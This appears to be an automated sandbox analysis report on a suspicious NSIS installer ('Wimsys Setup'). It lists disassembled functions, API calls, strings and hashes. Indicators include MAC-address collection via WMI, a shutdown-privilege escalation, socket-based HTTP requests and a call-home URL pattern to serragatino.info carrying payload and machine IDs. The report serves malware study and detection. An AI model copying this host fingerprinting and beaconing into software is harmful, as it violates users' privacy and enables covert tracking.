DeleteFileW.KERNEL32(05BD0020), ref: 03451438
lstrcpynW.KERNEL32(05BD1820,-0000000A,00000400), ref: 034514D2
lstrcpynW.KERNEL32(05BD1020,-0000000A,00000400), ref: 034514E5
lstrcatW.KERNEL32(05BCF820,~nsu), ref: 0345150F
lstrcatW.KERNEL32(05BCF820,0348AEC4), ref: 03451525

Part of subcall function 03452235: CreateDirectoryW.KERNEL32(003A0043,00000000,771B3420,034510DC,05BCF820,03451393), ref: 0345223A
Part of subcall function 03452235: GetLastError.KERNEL32 ref: 03452244

Part of subcall function 034565E0: OleInitialize.OLE32(00000000), ref: 034565F0
Part of subcall function 034565E0: OleUninitialize.OLE32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,03452007), ref: 0345663C

lstrcatW.KERNEL32(05BCF820,.tmp), ref: 03451537
lstrcmpiW.KERNEL32(05BE8820,05BE7820), ref: 0345154D
SetCurrentDirectoryW.KERNEL32(05BCF820), ref: 03451582
lstrcpynW.KERNEL32(05BE6820,05BD0820,00000400), ref: 034515A6
lstrcpynW.KERNEL32(05BDC020,?,00000400), ref: 034515BB
DeleteFileW.KERNEL32(03490F90), ref: 034515F2
CopyFileW.KERNEL32(05BCE820,03490F90,00000001), ref: 0345160E
CloseHandle.KERNEL32(00000000), ref: 03451649
lstrcatW.KERNEL32(05BD0020,034B4278), ref: 03451717
lstrlenW.KERNEL32(Exec,00000000,Exec,00000000), ref: 034517A3
lstrcmpiW.KERNEL32(-000000FC,.exe), ref: 034517B9
GetFileAttributesW.KERNEL32(Exec), ref: 034517C4
lstrcpynW.KERNEL32(05BD1820,00000000,00000400), ref: 034517F2
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040), ref: 03451835

Part of subcall function 03452588: CharNextW.USER32(05BD2022,05BD2020,00000020,0345127A), ref: 0345259D

RegisterClassW.USER32(034B9840), ref: 03451875
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 0345188D
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 034518C2
CloseHandle.KERNEL32(FFFFFFFF), ref: 03451912
FreeLibrary.KERNEL32(?), ref: 0345193E
GlobalFree.KERNEL32(00000000), ref: 03451945
OleUninitialize.OLE32 ref: 0345196B
ExitProcess.KERNEL32 ref: 03451995
GetCurrentProcess.KERNEL32(00000028,?), ref: 034519AA
OpenProcessToken.ADVAPI32(00000000), ref: 034519B1
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 034519C6
AdjustTokenPrivileges.ADVAPI32(?,?,?,00000001,00000000,?), ref: 034519E9
ExitWindowsEx.USER32(00000002,80040002), ref: 03451A0F

Strings

~nsu, xrefs: 03451503
SeShutdownPrivilege, xrefs: 034519C0
.tmp, xrefs: 0345152C
_Nb, xrefs: 03451850, 034518BC
TEMP, xrefs: 03451407
Exec, xrefs: 03451763, 0345176C, 0345177C
Control Panel\Desktop\ResourceLocale, xrefs: 034516C1
\Temp, xrefs: 034513BC
Error writing temporary file. Make sure your temp folder is valid., xrefs: 0345114F
.DEFAULT\Control Panel\International, xrefs: 034516FC
UXTHEME, xrefs: 03451197, 034511A3
Wimsys Setup, xrefs: 0345121D
.exe, xrefs: 034517B3
Low, xrefs: 034513E9
Error launching installer, xrefs: 0345149C
NSIS Error, xrefs: 03451218
TMP, xrefs: 03451419

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: lstrcpyn$lstrcat$File$Handle$DirectoryProcess$CharCloseCreateCurrentDeleteEnvironmentErrorExitFreeInfoInitializeModuleNextPathTempTokenUninitializeVariableWindowslstrcmpilstrlen$AddressAdjustAttributesClassCommandCopyGlobalImageLastLibraryLineLoadLookupModeOpenParametersPrivilegePrivilegesProcRegisterSystemValueVersionWindow
String ID: .DEFAULT\Control Panel\International$.exe$.tmp$Control Panel\Desktop\ResourceLocale$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Exec$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$Wimsys Setup$\Temp$_Nb$~nsu
API String ID: 3576120452-137968867
Opcode ID: 6be4ae53b06ba827f64a84f7c781db5d36d638adf0c4ae430bb4b08d1678a691
Instruction ID: 8515d140ff33dad8c000eb4fe0282e5e9b5e99c31b02df35114a765ea6a8cc47
Opcode Fuzzy Hash: 6be4ae53b06ba827f64a84f7c781db5d36d638adf0c4ae430bb4b08d1678a691
Instruction Fuzzy Hash: FF329C75A00300AFEB20FF65DC49B6A77E8EB44714F18482BF955AF286EB74D805CB58

Uniqueness

Uniqueness Score: -1.00%

Function 03453488 Relevance: 46.0, APIs: 23, Strings: 3, Instructions: 472
stringsleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostQuitMessage.USER32 ref: 03453534
Sleep.KERNEL32(00000001,-00000001,00000000), ref: 0345356C
SetForegroundWindow.USER32(?), ref: 0345357C
ShowWindow.USER32(00000000,032AC168), ref: 03453626
ShowWindow.USER32(00000000), ref: 0345363E
SetFileAttributesW.KERNEL32(00000000,?), ref: 03453655
GetFileAttributesW.KERNEL32(00000000), ref: 034536C9
lstrcpynW.KERNEL32(05BD1020,00000000,00000400), ref: 0345370B
SetCurrentDirectoryW.KERNEL32(00000000), ref: 03453712
MoveFileW.KERNEL32(00000000,00000000), ref: 03453772
GetFullPathNameW.KERNEL32(00000000,00000400,00000000,?,000000E3), ref: 034537CC
lstrcpynW.KERNEL32(?,-0000002C,00000400), ref: 03453803
GetShortPathNameW.KERNEL32(00000000,00000000,00000400), ref: 03453822
SearchPathW.KERNEL32(00000000,00000000,00000000,00000400,?,?), ref: 0345384B
lstrcpynW.KERNEL32(Exec,00000000,00000400,?,?), ref: 034538B1
lstrcpynW.KERNEL32(Exec,05BD1020,00000400,?,?), ref: 034538C5
lstrcatW.KERNEL32(00000000,00000000), ref: 034538D4
CompareFileTime.KERNEL32(-00000014,?,Exec,?,?), ref: 03453907
lstrcpynW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\nszFA3A.tmp,00000400), ref: 0345396D
lstrcpynW.KERNEL32(Exec,00000400), ref: 0345397B
lstrcpynW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\nszFA3A.tmp,00000400), ref: 0345399A

Strings

Exec, xrefs: 034538A5, 034538B0, 034538C4, 034538DA, 03453974, 03453A6C
C:\Users\user~1\AppData\Local\Temp\nszFA3A.tmp\nsExec.dll, xrefs: 034536EB, 0345377C, 034537AA, 03453988, 034539A7
C:\Users\user~1\AppData\Local\Temp\nszFA3A.tmp, xrefs: 03453967, 0345396C, 03453993

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: lstrcpyn$File$PathWindow$AttributesNameShow$CompareCurrentDirectoryForegroundFullMessageMovePostQuitSearchShortSleepTimelstrcat
String ID: C:\Users\user~1\AppData\Local\Temp\nszFA3A.tmp$C:\Users\user~1\AppData\Local\Temp\nszFA3A.tmp\nsExec.dll$Exec
API String ID: 825079545-392345625
Opcode ID: b6dfa765f5661837bd5711266f9dac05347be51511258c49d8a8ac7abfbff5d8
Instruction ID: 9b019b7ac47c15e534f4584f2580a13415c82e617e7136c851f4a3f05a7b29bd
Opcode Fuzzy Hash: b6dfa765f5661837bd5711266f9dac05347be51511258c49d8a8ac7abfbff5d8
Instruction Fuzzy Hash: EFF1B179A083019FC724EF399844B3F76E9EB84290F14492FF966DE382DB30D8058B59

Uniqueness

Uniqueness Score: -1.00%

Function 03462710 Relevance: 39.0, APIs: 12, Strings: 10, Instructions: 512
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeEx.OLE32(00000000,00000000,?,?,?), ref: 03462A52
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000,?,?,?), ref: 03462A6A
SysAllocString.OLEAUT32(03480A2C,00000000,00000001,03480A1C,00000000,?,?,?), ref: 03462A82
SysAllocString.OLEAUT32(ROOT\CIMV2), ref: 03462A93

Strings

VWj, xrefs: 03462A27
jjj, xrefs: 03462A60
, xrefs: 03462894
AdapterTypeID, xrefs: 03462B66
WQL, xrefs: 03462AEC
jjjj, xrefs: 03462AAF
Select * from Win32_NetworkAdapter Where NetEnabled=TRUE, xrefs: 03462AD3
jjj, xrefs: 03462A58
ROOT\CIMV2, xrefs: 03462A8E
MACAddress, xrefs: 03462B90

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: AllocInitializeString$Security
String ID: $AdapterTypeID$MACAddress$ROOT\CIMV2$Select * from Win32_NetworkAdapter Where NetEnabled=TRUE$VWj$WQL$jjj$jjj$jjjj
API String ID: 2669551906-828625420
Opcode ID: 671a3c49ed11f915458341ac30fd189bb95a3261243c546ba41999ef165345b8
Instruction ID: d862f55d06cc8250c9b1ddf89c552fde3782c0e3201a094a31baf76a65b1697b
Opcode Fuzzy Hash: 671a3c49ed11f915458341ac30fd189bb95a3261243c546ba41999ef165345b8
Instruction Fuzzy Hash: 0B02AD75E00208AFDF18DFA4CC94BEEBBB5AF48300F24455AE811BF291DBB1A945CB55

Uniqueness

Uniqueness Score: -1.00%

Function 03451B42 Relevance: 19.5, APIs: 6, Strings: 5, Instructions: 240
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 03451B60
GetModuleFileNameW.KERNEL32(00000000,05BCE820,00000400,?,00000000,?,?,?,?,?,?,?,?,?,03451447), ref: 03451B82

Part of subcall function 03452797: GetFileAttributesW.KERNEL32(003A0043,00000000,00000400,00000000,00000000), ref: 034527BB
Part of subcall function 03452797: CreateFileW.KERNEL32(003A0043,80000000,00000001,00000000,?,00000000,00000000), ref: 034527D4
Part of subcall function 03452797: GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 034527EC
Part of subcall function 03452797: lstrcmpW.KERNEL32(003A0043,?), ref: 034527F8

lstrcpynW.KERNEL32(05BE7820,05BE9820,00000400,00000003,?,00000000,?,?,?,?,?,?,?,?,?,03451447), ref: 03451BD6
lstrcpynW.KERNEL32(05BCE020,00000000,00000400,?,00000000,?,?,?,?,?,?,?,?,?,03451447), ref: 03451BFA

Strings

Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 03451E6C
soft, xrefs: 03451C9A
Null, xrefs: 03451CA4
Inst, xrefs: 03451C90
Error launching installer, xrefs: 03451BB1

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: File$ModuleNamelstrcpyn$AttributesCountCreateTicklstrcmp
String ID: Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2516396849-527102705
Opcode ID: 202a6885c568ea3b0cb16277d2b9c142304c4c1abfacb12f7c3ece644354e193
Instruction ID: d8448c3bb6ebdda774d31c70e2fb7b42be7796b197277ef8d65f23597efa791b
Opcode Fuzzy Hash: 202a6885c568ea3b0cb16277d2b9c142304c4c1abfacb12f7c3ece644354e193
Instruction Fuzzy Hash: BE91A034A043059FDB14EF25E88072BB7E4FB84314F14496FF956AF286EB75A809CB49

Uniqueness

Uniqueness Score: -1.00%

Function 03452367 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 162
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0345266E: lstrcpynW.KERNEL32(C:\,003A0043,00000400,003A0043,00000007,0345238D,00000000,00000000,?,00000000), ref: 0345267C
Part of subcall function 0345266E: lstrlenW.KERNEL32(C:\,00000000,?,00000000), ref: 034526C7
Part of subcall function 0345266E: GetFileAttributesW.KERNEL32(C:\,?,00000000), ref: 034526D9

DeleteFileW.KERNEL32(003A0043,00000000,00000000,?,00000000), ref: 03452397
lstrcpynW.KERNEL32(034AFFA0,003A0043,00000400,00000000,00000000,?,00000000), ref: 034523D4
lstrcatW.KERNEL32(034AFFA0,\*.*), ref: 034523EE
lstrcatW.KERNEL32(003A0043,0348B370), ref: 0345240F
lstrlenW.KERNEL32(003A0043,?,00000000), ref: 03452412
FindFirstFileW.KERNEL32(034AFFA0,?,?,00000000), ref: 03452429
lstrcpynW.KERNEL32(?,?,00000400,?,00000000), ref: 03452469
FindNextFileW.KERNELBASE(00000000,00000010), ref: 034524C8
FindClose.KERNEL32(00000000), ref: 034524DA

Strings

\*.*, xrefs: 034523E4
C:\Users\user~1\AppData\Local\Temp\nszFA3A.tmp, xrefs: 034523CF, 034523E9, 03452424

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: File$Findlstrcpyn$lstrcatlstrlen$AttributesCloseDeleteFirstNext
String ID: C:\Users\user~1\AppData\Local\Temp\nszFA3A.tmp$\*.*
API String ID: 2851050878-2371087718
Opcode ID: 54e7e16febb3f3ee53bf9dbc8e5351ae6c03c7c7b056ac77f8a19738f5c07a72
Instruction ID: 09dd728907a45d5f640ecfe777ff3543d5dbfa4daf9ee50868dfa5e1a47745c2
Opcode Fuzzy Hash: 54e7e16febb3f3ee53bf9dbc8e5351ae6c03c7c7b056ac77f8a19738f5c07a72
Instruction Fuzzy Hash: 4C510030B047158FC724FB29980462FB2E4EF92211F584D1FFC51DE286EBF48946869E

Uniqueness

Uniqueness Score: -1.00%

Function 032673E4 Relevance: 14.7, APIs: 2, Strings: 6, Instructions: 691
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

2, xrefs: 0326747F
s, xrefs: 03267621
c, xrefs: 032676E5
t, xrefs: 032677C3
A, xrefs: 03267543
., xrefs: 03267A38

Memory Dump Source

Source File: 0000000F.00000002.1529447762.0000000003267000.00000040.00000020.00020000.00000000.sdmp, Offset: 03267000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3267000_rundll32.jbxd

Similarity

API ID:
String ID: .$2$A$c$s$t
API String ID: 0-4220828924
Opcode ID: 05fab889f62e079e2870c19ff81122e6406bad0200ecd2d39b9cb32f5554b841
Instruction ID: a068290f0ca0b423b597f52bb59588d7afa75ef0f268a74c65bf8c9f9280a222
Opcode Fuzzy Hash: 05fab889f62e079e2870c19ff81122e6406bad0200ecd2d39b9cb32f5554b841
Instruction Fuzzy Hash: 1B721D70A041A98BEB19CE2CD8947EDBBB1AF55304F1440E9D4499B391D7BA9EC4CF50

Uniqueness

Uniqueness Score: -1.00%

Function 03454C6B Relevance: 3.0, APIs: 2, Instructions: 34filestringCOMMON

Download Yara Rule

APIs

lstrcpynW.KERNEL32(?,?,00000400), ref: 03454C60
FindFirstFileW.KERNEL32(00000000,?), ref: 03454C7C

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: FileFindFirstlstrcpyn
String ID:
API String ID: 3866942784-0
Opcode ID: ba56e30f154ab7434b97f6644278c0d9a45697b0b5b915810ad61d6fc0253ca1
Instruction ID: 5a61904ec6d97f9b4025adc9c118dfd645d2f65827c5de0039613e1b0c50caf9
Opcode Fuzzy Hash: ba56e30f154ab7434b97f6644278c0d9a45697b0b5b915810ad61d6fc0253ca1
Instruction Fuzzy Hash: 14F0B432A182008FC664EB75E885BBEB3D9EB80220F10091BF66ACE282DF3458454B19

Uniqueness

Uniqueness Score: -1.00%

Function 034530A4 Relevance: 3.0, APIs: 2, Instructions: 15fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,034B07A0,00000000,03453740), ref: 034530AC
FindClose.KERNEL32(00000000), ref: 034530B8

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 83f04387ff88bc873f4428c581d76dd1b0fede413c28be2f4f9b09fff40c577b
Instruction ID: 704ca6ad297389ca98a74bd5e023f35006cf6d8daf72751d764bc40b8322ffee
Opcode Fuzzy Hash: 83f04387ff88bc873f4428c581d76dd1b0fede413c28be2f4f9b09fff40c577b
Instruction Fuzzy Hash: 15C012366161201785106678BC0C4C7679CDE05671B450A62B454E6588C234CC4745E4

Uniqueness

Uniqueness Score: -1.00%

Function 03461FA8 Relevance: 44.3, APIs: 23, Strings: 2, Instructions: 538
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getaddrinfo.WS2_32(?,?,00000000,00000000), ref: 03462006
socket.WS2_32(?,?,?), ref: 0346207A
connect.WS2_32(00000000,?,?), ref: 0346209E
freeaddrinfo.WS2_32(00000000), ref: 034620B3
WSACreateEvent.WS2_32 ref: 034620B9
WSASend.WS2_32(?,?,00000001,?,00000000,?,00000000), ref: 034621DB
WSAGetLastError.WS2_32 ref: 034621E6
WSAWaitForMultipleEvents.WS2_32(00000001,?,00000001,00001388,00000001), ref: 03462209
WSACreateEvent.WS2_32 ref: 0346223B
closesocket.WS2_32(?), ref: 03462252
closesocket.WS2_32(?), ref: 03462269
WSARecv.WS2_32(?,?,00000001,?,?), ref: 03462312
WSAGetLastError.WS2_32 ref: 0346231D
WSAWaitForMultipleEvents.WS2_32(00000001,?,00000001,00001388,00000001), ref: 03462340
WSAGetLastError.WS2_32 ref: 0346235C
WSAGetOverlappedResult.WS2_32(?,?,00000000,00000000,00000000), ref: 034623AE
WSAResetEvent.WS2_32(?), ref: 0346248C
WSACloseEvent.WS2_32(?), ref: 034624C5
WSACloseEvent.WS2_32(?), ref: 034624CD
closesocket.WS2_32(?), ref: 034624D5
WSACleanup.WS2_32 ref: 034624DB
closesocket.WS2_32(00000000), ref: 034625CB
WSACleanup.WS2_32 ref: 034625D1

Strings

HTTP/1.1Host: %s, xrefs: 0346211F
GET , xrefs: 034620CD

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: Event$closesocket$ErrorLast$CleanupCloseCreateEventsMultipleWait$OverlappedRecvResetResultSendconnectfreeaddrinfogetaddrinfosocket
String ID: HTTP/1.1Host: %s$GET
API String ID: 189022131-1233584444
Opcode ID: 7c9151c8f6600a6690a4fcb27d97cbf12b05f47e357e6d5f8099dbe6af7fc8d4
Instruction ID: c30290aee09fa2b1f6a5191c61dba444fb55c4f5c30f735114108222924a504d
Opcode Fuzzy Hash: 7c9151c8f6600a6690a4fcb27d97cbf12b05f47e357e6d5f8099dbe6af7fc8d4
Instruction Fuzzy Hash: 63129471900229AFDB25DF24CC94BEEBB79AF44310F0845DAD509AF291D7B09E84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0345F707 Relevance: 25.3, APIs: 3, Strings: 11, Instructions: 789
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32(?), ref: 0345F718
CommandLineToArgvW.SHELL32(00000000), ref: 0345F71F
__Init_thread_footer.LIBCMT ref: 0346043D

Strings

&mid=, xrefs: 0345FE3D
1.28.763.1, xrefs: 0345FD92, 0345FDAB
&u=, xrefs: 0345F9F7
&v=, xrefs: 0345FD4E
serragatino.info, xrefs: 03460239
&ts=, xrefs: 0345FDCE
/preinstaller/index.php?evt=, xrefs: 0345FD3C
&cid=, xrefs: 0345FA01
&payload=, xrefs: 0345FECF
/payload, xrefs: 0345F734
/cid, xrefs: 0345F886

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: CommandLine$ArgvInit_thread_footer
String ID: &cid=$&mid=$&payload=$&ts=$&u=$&v=$/cid$/payload$/preinstaller/index.php?evt=$1.28.763.1$serragatino.info
API String ID: 123207428-3107760163
Opcode ID: 1cff9bbc11717442e03e3999987d21bc1b9e9c29516212a6aea67a8b85264fa7
Instruction ID: 5ed75adcc7645e2ce2d97adf760e68ac5cb8cf5f7ce2dfa3601bfbe3c4d110bc
Opcode Fuzzy Hash: 1cff9bbc11717442e03e3999987d21bc1b9e9c29516212a6aea67a8b85264fa7
Instruction Fuzzy Hash: 1C624471C00304CFEB18DF68DC54BAEB7B1AF41304F20869EE4156F692DB749AC88B5A

Uniqueness

Uniqueness Score: -1.00%

Function 03452D19 Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 241
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(Exec,00000400), ref: 03452E82
GetWindowsDirectoryW.KERNEL32(Exec,00000400,032AC168,00000000,?,?,?,?,?,034532AE,032AC168,03453563,-00000001,00000000), ref: 03452E95
lstrcatW.KERNEL32(Exec,\Microsoft\Internet Explorer\Quick Launch), ref: 03452F13
lstrcpynW.KERNEL32(Exec,?,00000400,032AC168,00000000,?,?,?,?,?,034532AE,032AC168,03453563,-00000001,00000000), ref: 03452F50

Part of subcall function 03452C21: wsprintfW.USER32 ref: 03452C28

lstrlenW.KERNEL32(Exec,032AC168,00000000,?,?,?,?,?,034532AE,032AC168,03453563,-00000001,00000000), ref: 03452F7A
lstrcpynW.KERNEL32(00000000,Exec,00000400,?,?,?,?,034532AE,032AC168,03453563,-00000001,00000000), ref: 03452FC4

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 03452F0D
Software\Microsoft\Windows\CurrentVersion, xrefs: 03452E49
Exec, xrefs: 03452D48, 03452E47, 03452E48, 03452E56, 03452E81, 03452E94, 03452EAB, 03452ED7, 03452F12, 03452F19, 03452F4F, 03452F5E, 03452F79, 03452F84, 03452FC2

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: Directorylstrcpyn$SystemWindowslstrcatlstrlenwsprintf
String ID: Exec$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 1475261591-2234703965
Opcode ID: 02c2de5c7f92c8f6b8ca3208f193b635099782a94964ac0d097559b35d4be12b
Instruction ID: 909047f163ce8e9ae1d0ffd6cf3f2ed86a962bb7cb38945b4a8943758b3845e9
Opcode Fuzzy Hash: 02c2de5c7f92c8f6b8ca3208f193b635099782a94964ac0d097559b35d4be12b
Instruction Fuzzy Hash: B271D436A043119FCB20EF24D884A7B77E9AB48700F088D2BFD55EF246E7B0D9459B59

Uniqueness

Uniqueness Score: -1.00%

Function 03454261 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 103
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 03454296
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 034542AB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,00000100,00000000,00000000), ref: 034542D7
GetProcAddress.KERNEL32(00000000,?), ref: 034542EA
FreeLibrary.KERNEL32(00000000), ref: 03454375

Strings

C:\Users\user~1\AppData\Local\Temp\nszFA3A.tmp\nsExec.dll, xrefs: 0345430D, 03454383

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: Library$AddressByteCharFreeHandleLoadModuleMultiProcWide
String ID: C:\Users\user~1\AppData\Local\Temp\nszFA3A.tmp\nsExec.dll
API String ID: 1492249872-1148655013
Opcode ID: 581ea9e9567a4f1e2442a9d0961e13a4ff09f998ccb6bac9d54bdfd93e14434c
Instruction ID: b201e85368ea0c7bac3b19cfd3b4867d0caf3f6276e3cca90673f22949c83977
Opcode Fuzzy Hash: 581ea9e9567a4f1e2442a9d0961e13a4ff09f998ccb6bac9d54bdfd93e14434c
Instruction Fuzzy Hash: 19313735A083019FC724EE56E804B6FB7E8AB84260F65452FF965CE392DB71C484875A

Uniqueness

Uniqueness Score: -1.00%

Function 034530C6 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 45
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 034530EA
wsprintfW.USER32 ref: 03453123
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 03453137

Strings

\, xrefs: 034530FA
UXTHEME, xrefs: 034530D9, 03453113
%s%S.dll, xrefs: 0345311D

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

